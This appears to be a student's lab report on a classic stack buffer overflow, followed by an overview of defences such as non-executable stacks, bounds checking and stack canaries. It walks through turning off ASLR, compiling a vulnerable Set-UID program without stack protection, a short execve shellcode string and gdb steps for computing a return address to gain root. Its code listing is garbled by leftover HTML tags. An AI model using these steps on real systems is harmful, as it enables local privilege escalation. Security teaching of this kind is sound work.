1. 程式人生 > 其它 >實驗七-緩衝區溢位(20221421李旻奇)

實驗七-緩衝區溢位(20221421李旻奇)

 

緩衝區溢位漏洞實驗

一、實驗簡介

注意:實驗中命令在 xfce 終端中輸入,前面有 $ 的內容為在終端輸入的命令,$ 號不需要輸入。命令上有 # 的內容為註釋,不需要輸入

適用人群:

  • 有 C 語言基礎
  • 會進位制轉換以及計算
  • vim 基本使用
  • 熟悉基本 linux 命令

緩衝區溢位是指程式試圖向緩衝區寫入超出預分配固定長度資料的情況。這一漏洞可以被惡意使用者利用來改變程式的流控制,甚至執行程式碼的任意片段。這一漏洞的出現是由於資料緩衝器和返回地址的暫時關閉,溢位會引起返回地址被重寫。

二、實驗準備

系統使用者名稱 shiyanlou

實驗樓提供的是 64 位 Ubuntu linux,而本次實驗為了方便觀察彙編語句,我們需要在 32 位環境下作操作,因此實驗之前需要做一些準備。

輸入命令安裝一些用於編譯 32 位 C 程式的軟體包:

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb

三、實驗步驟

接下來就進入具體的實驗操作中。

3.1 初始設定

1、Ubuntu 和其他一些 Linux 系統中,使用地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址,這使得猜測準確的記憶體地址變得十分困難,而猜測記憶體地址是緩衝區溢位攻擊的關鍵。因此本次實驗中,我們使用以下命令關閉這一功能:

sudo sysctl -w kernel.randomize_va_space=0

2、此外,為了進一步防範緩衝區溢位攻擊及其它利用 shell 程式的攻擊,許多shell程式在被呼叫時自動放棄它們的特權。因此,即使你能欺騙一個 Set-UID 程式呼叫一個 shell,也不能在這個 shell 中保持 root 許可權,這個防護措施在 /bin/bash 中實現。

linux 系統中,/bin/sh 實際是指向 /bin/bash 或 /bin/dash 的一個符號連結。為了重現這一防護措施被實現之前的情形,我們使用另一個 shell 程式(zsh)代替 /bin/bash。下面的指令描述瞭如何設定 zsh 程式:

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

3、輸入命令 linux32 進入32位linux環境。此時你會發現,命令列用起來沒那麼爽了,比如不能tab補全了,輸入 /bin/bash 使用bash:

3.2 shellcode

一般情況下,緩衝區溢位會造成程式崩潰,在程式中,溢位的資料覆蓋了返回地址。而如果覆蓋返回地址的資料是另一個地址,那麼程式就會跳轉到該地址,如果該地址存放的是一段精心設計的程式碼用於實現其他功能,這段程式碼就是 shellcode。

觀察以下程式碼:

本次實驗的 shellcode,就是剛才程式碼的彙編版本:

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.3 漏洞程式

在 /tmp 目錄下新建一個 stack.c 檔案:

cd /tmp
vim stack.c

按 i 鍵切換到插入模式,再輸入如下內容:

複製程式碼如果出現縮排混亂可先在 Vim 執行 :set paste 再按 i 鍵編輯。

通過程式碼可以知道,程式會讀取一個名為“badfile”的檔案,並將檔案內容裝入“buffer”。

編譯該程式,並設定 SET-UID。命令如下:

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

GCC編譯器有一種棧保護機制來阻止緩衝區溢位,所以我們在編譯程式碼時需要用 –fno-stack-protector 關閉這種機制。 而 -z execstack 用於允許執行棧。

-g 引數是為了使編譯後得到的可執行文件能用 gdb 除錯。

3.4 攻擊程式

我們的目的是攻擊剛才的漏洞程式,並通過攻擊獲得 root 許可權。

在 /tmp 目錄下新建一個 exploit.c 檔案,輸入如下內容:

或者也可以直接下載程式碼:

wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c

注意上面的程式碼,\x??\x??\x??\x?? 處需要添上 shellcode 儲存在記憶體中的地址,因為發生溢位後這個位置剛好可以覆蓋返回地址。而 strcpy(buffer+100,shellcode); 這一句又告訴我們,shellcode 儲存在 buffer + 100 的位置。下面我們將詳細介紹如何獲得我們需要新增的地址。

現在我們要得到 shellcode 在記憶體中的地址,輸入命令進入 gdb 除錯:

gdb stack
disass main

結果如圖:

esp 中就是 str 的起始地址,所以我們在地址 0x080484ee 處設定斷點。

地址可能不一致,請根據你的顯示結果自行修改。

接下來的操作:

# 設定斷點
b *0x080484ee
r
i r $esp

最後獲得的這個 0xffffcfb0 就是 str 的地址。

按 q 鍵,再按 y 鍵可退出除錯。

根據語句 strcpy(buffer + 100,shellcode); 我們計算 shellcode 的地址為 0xffffcfb0 + 0x64 = 0xffffd014

實際操作中你的地址和我這裡的地址可能不一樣,需要根據你實際輸出的結果來計算。

可以使用 十六進位制加法計算器 計算。

現在修改 exploit.c 檔案,將 \x??\x??\x??\x?? 修改為計算的結果 \x14\xd0\xff\xff,注意順序是反的。

然後,編譯 exploit.c 程式:

gcc -m32 -o exploit exploit.c

3.5 攻擊結果

先執行攻擊程式 exploit,再執行漏洞程式 stack,觀察結果:

whoami 是輸入的命令,不是輸出結果。

可見,通過攻擊,獲得了root 許可權!

如果不能攻擊成功,提示”段錯誤“,那麼請重新使用 gdb 反彙編,計算記憶體地址。

四、練習

1、按照實驗步驟進行操作,攻擊漏洞程式並獲得 root 許可權。

2、通過命令 sudo sysctl -w kernel.randomize_va_space=2 開啟系統的地址空間隨機化機制,重複用 exploit 程式攻擊 stack 程式,觀察能否攻擊成功,能否獲得root許可權。

3、將 /bin/sh 重新指向 /bin/bash(或/bin/dash),觀察能否攻擊成功,能否獲得 root 許可權。

以上練習請在實驗樓環境完成並截圖。

  • 按 i 鍵切換到插入模式,再輸入如下內容。通過程式碼可以知道,程式會讀取一個名為“badfile”的檔案,並將檔案內容裝入“buffer”。
    (複製程式碼如果出現縮排混亂可先在 Vim 執行 :set paste 再按 i 鍵編輯。)
int bof(char *str)
{
    char buffer[12];
<span class="hljs-comment">/* The following statement has a buffer overflow problem */ 
<span class="hljs-built_in">strcpy(buffer, str);

<span class="hljs-keyword">return <span class="hljs-number">1;

}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;

badfile = <span class="hljs-built_in">fopen(<span class="hljs-string">"badfile", <span class="hljs-string">"r");
<span class="hljs-built_in">fread(str, <span class="hljs-built_in">sizeof(<span class="hljs-type">char), <span class="hljs-number">517, badfile);
<span class="hljs-built_in">bof(str);

<span class="hljs-built_in">printf(<span class="hljs-string">"Returned Properly\n");
<span class="hljs-keyword">return <span class="hljs-number">1;

}

  • 編譯該程式,並設定 SET-UID。命令如下:
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
//GCC編譯器有一種棧保護機制來阻止緩衝區溢位,所以我們在編譯程式碼時需要用 –fno-stack-protector 關閉這種機制。 而 -z execstack 用於允許執行棧。
//-g 引數是為了使編譯後得到的可執行文件能用 gdb 除錯。
  • 直接下載程式碼,得到攻擊程式exploit.c
wget 
http://labfile.oss.aliyuncs.com/courses/231/exploit.c
  • 現在我們要得到 shellcode 在記憶體中的地址,輸入命令進入 gdb 除錯:
gdb stack
disass main
  • esp 中就是 str 的起始地址,所以我們在地址 0x080484ee 處設定斷點。地址可能不一致,請根據你的顯示結果自行修改。
 \# 設定斷點
 b *0x080484ee
 r
 i r $esp
    • 最後獲得的這個0xffffcfb0就是 str 的地址。
      q鍵,再按y鍵可退出除錯。
      根據語句 strcpy(buffer + 100,shellcode); 我們計算 shellcode 的地址為 0xffffcfb0 + 0x64 = 0xffffd014
      現在修改 exploit.c 檔案,將\x??\x??\x??\x??修改為計算的結果 \x14\xd0\xff\xff,注意順序是反的。

    • 然後,編譯 exploit.c 程式:gcc -m32 -o exploit exploit.c
      先執行攻擊程式 exploit,再執行漏洞程式 stack,觀察結果:

 

我的實驗結果如下:

緩衝區溢位的原理:

緩衝區溢位是指程式試圖向緩衝區寫入超出預分配固定長度資料的情況。這一漏洞可以被惡意使用者利用來改變程式的流控制,甚至執行程式碼的任意片段。這一漏洞的出現是由於資料緩衝器和返回地址的暫時關閉,溢位會引起返回地址被重寫。

    • 緩衝區是記憶體中存放資料的地方。在程式試圖將資料放到機器記憶體中的某一個位置的時候,因為沒有足夠的空間就會發生緩衝區溢位。而人為的溢位則是有一定企圖的,攻擊者寫一個超過緩衝區長度的字串,植入到緩衝區,然後再向一個有限空間的緩衝區中植入超長的字串,這時可能會出現兩個結果:一是過長的字串覆蓋了相鄰的儲存單元,引起程式執行失敗,嚴重的可導致系統崩潰;另一個結果就是利用這種漏洞可以執行任意指令,甚至可以取得系統root特級許可權。
      緩衝區是程式執行的時候機器記憶體中的一個連續塊,它儲存了給定型別的資料,隨著動態分配變數會出現問題。大多時為了不佔用太多的記憶體,一個有動態分配變數的程式在程式執行時才決定給它們分配多少記憶體。如果程式在動態分配緩衝區放入超長的資料,它就會溢位了。一個緩衝區溢位程式使用這個溢位的資料將組合語言程式碼放到機器的記憶體裡,通常是產生root許可權的地方。僅僅單個的緩衝區溢位並不是問題的根本所在。但如果溢位送到能夠以root許可權執行命令的區域,一旦執行這些命令,那可就等於把機器拱手相讓了。
      通過往程式的緩衝區寫超出其長度的內容,造成緩衝區的溢位,從而破壞程式的堆疊,進而執行精心準備的指令,以達到攻擊的目的。

    • 如上圖,程式的緩衝區比作一個個格子(記憶體單元),每個格子中存放不同的東西,有的是命令,有的是資料,當程式需要接收使用者資料,程式預先為之分配了4個格子(上圖中黃色的0~3號格子)。
      按照程式設計,就是要求使用者輸入的資料不超過4個。
      而使用者在輸入資料時,假設輸入了16個數據,而且程式也沒有對使用者輸入資料的多少進行檢查(這種情況太常見了,windows系統本身就出過n個緩衝區溢位漏洞),就往預先分配的格子中存放,這樣不僅4個分配的格子(記憶體)被使用了,其後相鄰的12個格子中的內容都被新資料覆蓋。
      一般情況下後面的格子是可以被當成程式碼執行的。

緩衝區溢位的保護方法:

目前有四種基本的方法保護緩衝區免受緩衝區溢位的攻擊和影響:

一、編寫正確的程式碼 Top

編寫正確的程式碼是一件非常有意義但耗時的工作,特別像編寫C語言那種具有容易出錯傾向的程式(如:字串的零結尾),這種風格是由於追求效能而忽視正確性的傳統引起的。儘管花了很長的時間使得人們知道了如何編寫安全的程式組具有安全漏洞的程式依舊出現。因此人們開發了一些工具和技術來幫助經驗不足的程式設計師編寫安全正確的程式。

最簡單的方法就是用grep來搜尋原始碼中容易產生漏洞的庫的呼叫,比如對strcpy和sprintf的呼叫,這兩個函式都沒有檢查輸入引數的長度。事實上,各個版本C的標準庫均有這樣的問題存在。為了尋找一些常見的諸如緩衝區溢位和作業系統競爭條件等漏洞,一些程式碼檢查小組檢查了很多的程式碼。然而依然有漏網之魚存在。儘管採用了strcpy和sprintf這些替代函式來防止緩衝區溢位的發生,但是由於編寫程式碼的問題,仍舊會有這種情況發生。比如lprm程式就是最好的例子,雖然它通過了程式碼的安全檢查,但仍然有緩衝區溢位的問題存在。

為了對付這些問題,人們開發了一些高階的查錯工具,如faultinjection等。這些工具的目的在於通過人為隨機地產生一些緩衝區溢位來尋找程式碼的安全漏洞。還有一些靜態分析工具用於偵測緩衝區溢位的存在。雖然這些工具可以幫助程式設計師開發更安全的程式,但是由於C語言的特點,這些工具不可能找出所有的緩衝區溢位漏洞。所以,偵錯技術只能用來減少緩衝區溢位的可能,並不能完全地消除它的存在,除非程式設計師能保證他的程式萬元一失。

二、非執行的緩衝區 Top

通過使被攻擊程式的資料段地址空間不可執行,從而使得攻擊者不可能執行被植入被攻擊程式輸入緩衝區的程式碼,這種技術被稱為非執行的緩衝區技術。事實上,很多老的Unix系統都是這樣設計的,但是近來的Unix和MS Windows系統為實現更好的效能和功能,往往在資料段中動態地放人可執行的程式碼。所以為了保持程式的相容性不可能使得所有程式的資料段不可執行。但是我們可以設定堆疊資料段不可執行,這樣就可以最大限度地保證了程式的相容性。Linux和Solaris都發布了有關這方面的核心補丁。因為幾乎沒有任何合的
程式會在堆疊中存放程式碼,這種做法幾乎不產生任何相容性問題,除了在Linux中的兩個特例,這時可執行的程式碼必須被放入堆疊中:

1.訊號傳遞

Linux通過向程序堆疊釋放程式碼然後引發中斷來執行在堆疊中的程式碼進而實現向程序傳送Unix訊號.非執行緩衝區的補丁在傳送訊號的時候是允許緩衝區可執行的.

2.GCC的線上重用

研究發現gcc在堆疊區裡放置了可執行的程式碼以便線上重用。然而,關閉這個功能並不產生任何問題.只有部分功能似乎不能使用。非執行堆疊的保護可以有效地對付把程式碼植入自動變數的緩衝區溢位攻擊,而對於其他形式的攻擊則沒有效果。通過引用一個駐留
的程式的指標,就可以跳過這種保護措施。其他的攻擊可以採用把程式碼植入堆或者靜態資料段中來跳過保護。

三、陣列邊界檢查 Top

植入程式碼引起緩衝區溢位是一個方面,擾亂程式的執行流程是另一個方面。不像非執行緩衝區保護,陣列邊界檢查完全沒有了緩衝區溢位的產生和攻擊。這樣,只要陣列不能被溢位,溢位攻擊也就無從談起。為了實現陣列邊界檢查,則所有的對陣列的讀寫操作都應當被檢查以確保對陣列的操作在正確的範圍內。最直接的方法是檢查所有的陣列操作,但是通常可以來用一些優化的技術來減少檢查的次數。目前有以下的幾種檢查方法:

1、Compaq C編譯器

Compaq公司為Alpha CPU開發的C編譯器支援有限度的邊界檢查(使用—check_bounds引數)。這些限制是:只有顯示的陣列引用才被檢查,比如“a[3]”會被檢查,而“*(a
+3)"則不會。由於所有的C陣列在傳送的時候是指標傳遞的,所以傳遞給函式的的陣列不會被檢查。帶有危險性的庫函式如strcpy不會在編譯的時候進行邊界檢查,即便是指定了邊界檢查。在C語言中利用指標進行陣列操作和傳遞是非常頻繁的,因此這種侷限性是非常嚴重的。通常這種邊界檢查用來程式的查錯,而且不能保證不發生緩衝區溢位的漏洞。

2、Jones&Kelly:C的陣列邊界檢查

Richard Jones和Paul Kelly開發了一個gcc的補丁,用來實現對C程式完全的陣列邊界檢查。由於沒有改變指標的含義,所以被編譯的程式和其他的gcc模組具有很好的相容性。更進一步的是,他們由此從沒有指標的表示式中匯出了一個“基”指標,然後通過檢查這個基指標來偵測表示式的結果是否在容許的範圍之內。當然,這樣付出的效能上的代價是巨大的:對於一個頻繁使用指標的程式,如向量乘法,將由於指標的頻繁使用而使速度慢30倍。這個編譯器目前還很不成熟,一些複雜的程式(如elm)還不能在這個上面編譯、執行通過。然而在它的一個更新版本之下,它至少能編譯執行ssh軟體的加密軟體包,但其實現的效能要下降12倍。

3、Purify:儲存器存取檢查

Purify是C程式除錯時檢視儲存器使用的工具而不是專用的安全工具。Purify使用"目的碼插入"技術來檢查所有的儲存器存取。通過用Purify連線工具連線,可執行程式碼在執行的時候帶來的效能的損失要下降3—5倍。

4、型別——安全語言

所有的緩衝區溢位漏洞都源於C語言的型別安全。如果只有型別—安全的操作才可以被允許執行,這樣就不可能出現對變數的強制操作。如果作為新手,可以推薦使用具有型別—安全的語言如JAVA和ML。

但是作為Java執行平臺的Java虛擬機器是C程式.因此攻擊JVM的一條途徑是使JVM的緩衝區溢位。因此在系統中採用緩衝區溢位防衛技術來使用強制型別—安全的語言可以收到預想不到的效果。

四、程式指標完整性檢查 Top

程式指標完整性檢查和邊界檢查有略微的不同。與防止程式指標被改變不同,程式指標完整性檢查在程式指標被引用之前檢測到它的改變。因此,即便一個攻擊者成功地改變程式的指標,由於系統事先檢測到了指標的改變,因此這個指標將不會被使用。與陣列邊界檢查相比,這種方法不能解決所有的緩衝區溢位問題;採用其他的緩衝區溢位方法就可以避免這種檢測。但是這種方法在效能上有很大的優勢,而且相容性也很好。

l、手寫的堆疊監測

Snarskii為FreeBSD開發丁一套定製的能通過監測cpu堆疊來確定緩衝區溢位的libc。這個應用完全用手工彙編寫的,而且只保護libc中的當前有效紀錄函式.這個應用達到了設計要求,對於基於libc庫函式的攻擊具有很好的防衛,但是不能防衛其它方式的攻擊.

2、堆疊保護

堆疊保護是一種提供程式指標完整性檢查的編譯器技術.通過檢查函式活動紀錄中的返回地址來實現。堆疊保護作為gcc的一個小的補丁,在每個函式中,加入了函式建立和銷燬的程式碼。加入的函式建立程式碼實際上在堆疊中函式返回地址後面加了一些附加的位元組。而在函式返回時,首先檢查這個附加的位元組是否被改動過,如果發生過緩衝區溢位的攻擊,那麼這種攻擊很容易在函式返回前被檢測到。但是,如果攻擊者預見到這些附加位元組的存在,並且能在溢位過程中同樣地製造他們.那麼它就能成功地跳過堆疊保護的檢測。通常.我們有如下兩種方案對付這種欺騙:

1.終止符號

利用在C語言中的終止符號如o(null,CR,LF,—1(Eof)等這些符號不能在常用的字串函式中使用,因為這些函式一旦遇到這些終止符號,就結束函式過程了。

2.隨機符號

利用一個在函式呼叫時產生的一個32位的隨機數來實現保密,使得攻擊者不可能猜測到附加位元組的內容.而且,每次呼叫附加位元組的內容都在改變,也無法預測。通過檢查堆疊的完整性的堆疊保護法是從Synthetix方法演變來的。Synthetix方法通過使用準不變數來確保特定變數的正確性。這些特定的變數的改變是程式實現能預知的,而且只能在滿足一定的條件才能可以改變。這種變數我們稱為準不變數。Synthetix開發了一些工具用來保護這些變數。攻擊者通過緩衝區溢位而產生的改變可以被系統當做非法的動作。在某些極端的情況下,這些準不變數有可能被非法改變,這時需要堆疊保護來提供更完善的保護了。實驗的資料表明,堆疊保護對於各種系統的緩衝區溢位攻擊都有很好的保護作用.並能保持較好的相容性和系統性能。分析表明,堆疊保護能有效抵禦現在的和將來的基於堆疊的攻擊。堆疊保護版本的Red Hat Linux 5.1已經在各種系統上運行了多年,包括個人的膝上型電腦和工作組檔案伺服器。

3、指標保護

在堆疊保護設計的時候,衝擊堆疊構成了緩衝區溢位攻擊的常見的一種形式。有人推測存在一種模板來構成這些攻擊(在1996年的時候)。從此,很多簡單的漏洞被發現,實施和補丁後,很多攻擊者開始用更一般的方法實施緩衝區溢位攻擊。指標保護是堆錢保護針對這種情況的一個推廣。通過在所有的程式碼指標之後放置附加位元組來檢驗指標在被呼叫之前的合法性,如果檢驗失敗,會發出報警訊號和退出程式的執行,就如同在堆疊保護中的行為一樣。這種方案有兩點需要注意:

(1)附加位元組的定位
附加位元組的空間是在被保護的變數被分配的時候分配的,同時在被保護位元組初始化過程中被初始化。這樣就帶來了問題:為了保持相容性,我們不想改變被保護變數的大小,因此我們不能簡單地在變數的結構定義中加入附加字。還有,對各種型別也有不同附加位元組數目。

(2)查附加位元組
每次程式指標被引用的時候都要檢查附加位元組的完整性。這個也存在問題因為“從存取器讀”在編譯器中沒有語義,編譯器更關心指標的使用,而各種優化演算法傾向於從儲存器中讀人變數.還有隨著變數型別的不同,讀入的方法也各自不同。到目前為止,只有很少—部分使用非指標變數的攻擊能逃脫指標保護的檢測。但是,可以通過在編譯器上強制對某一變數加入附加位元組來實現檢測,這時需要程式設計師自己手工加入相應的保護了。